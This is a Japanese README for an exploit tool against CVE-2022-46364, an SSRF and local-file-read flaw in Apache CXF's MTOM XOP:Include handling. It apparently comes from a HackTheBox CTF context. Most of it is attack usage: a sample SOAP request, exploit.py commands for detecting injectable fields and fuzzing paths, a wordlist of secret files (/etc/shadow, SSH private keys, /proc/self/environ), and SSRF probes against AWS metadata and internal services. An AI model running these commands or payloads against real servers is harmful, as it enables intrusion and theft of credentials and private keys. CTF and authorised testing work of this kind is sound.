
CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI
Author: 0xmid00
脆弱性: MTOMリクエスト内のXOP:Includeを介したSSRF / ローカルファイル読み取り
影響を受ける: Apache CXF < 3.5.5 および < 3.4.10
Apache CXFは、XOP:Include要素を含むMTOM(Message Transmission Optimization Mechanism)メッセージを処理します。XOP:Includeのhref属性は、同じMTOMマルチパートメッセージ内の添付ファイルを参照することを想定しています。
しかし、脆弱なバージョンでは、CXFはhrefに指定された任意のURIを辿ります。例えば:
file:///etc/passwd → ローカルファイルを読み取る(LFI)http://127.0.0.1:PORT/ → 内部サービスをプローブする(SSRF)攻撃者は、任意の型のパラメータを1つ以上含むSOAPリクエストを送信するだけでこの脆弱性を引き起こすことができます。
pip install requests
python3 exploit.py -r request.txt [オプション]
生のHTTPリクエストをキャプチャしたまま(例:Burpから).txtファイルに保存してください:
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://devarea.htb/">
<soapenv:Body>
<tns:submitReport>
<arg0>
<confidential>false</confidential>
<content>test</content>
<department>IT</department>
<employeeName>john</employeeName>
</arg0>
</tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>
エクスプロイトは自動的にMTOM形式に変換します — 手動で行う必要はありません。
python3 exploit.py -r request.txt --mode 1
すべてのリーフXML要素に file:///etc/passwd を注入し、ファイル内容を返すものを報告します。
python3 exploit.py -r request.txt --mode 1 --field content
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt
まずMode 1を実行して注入可能なフィールドを検出し、その後そのフィールドを通じてワードリスト内のすべてのパスをファジングします。
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt
フィールド検出をスキップして、直接ファジングに進みます。
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog
SecListsも使用できます:
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
<xop:Include href="file:///..."/> で置き換えますファイルを読み取る代わりに内部HTTPサービスを調査するには:
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/
または、--readの値を任意の内部URLに編集します:
--read http://169.254.169.254/latest/meta-data/ (AWSメタデータ)
--read http://127.0.0.1:3306/ (MySQL)
--read http://127.0.0.1:22/ (SSHバナー)
このツールは許可されたペネトレーションテストおよびCTFチャレンジ専用です。作者は不正使用に対して一切の責任を負いません。
| 引数 | 説明 |
|---|
-r, --request | 生のHTTPリクエストファイルへのパス(必須) |
--mode 1 | /etc/passwdを使用して注入可能なXMLフィールドを自動検出 |
--mode 2 | ファイルパスのワードリストをファジング |
--field NAME | 注入するXMLフィールドを指定(自動検出をスキップ) |
--wordlist PATH | Mode 2用のファイルワードリストへのパス |
--read PATH | 特定の単一ファイルを読み取る |
-v, --verbose | リクエストの詳細情報を表示 |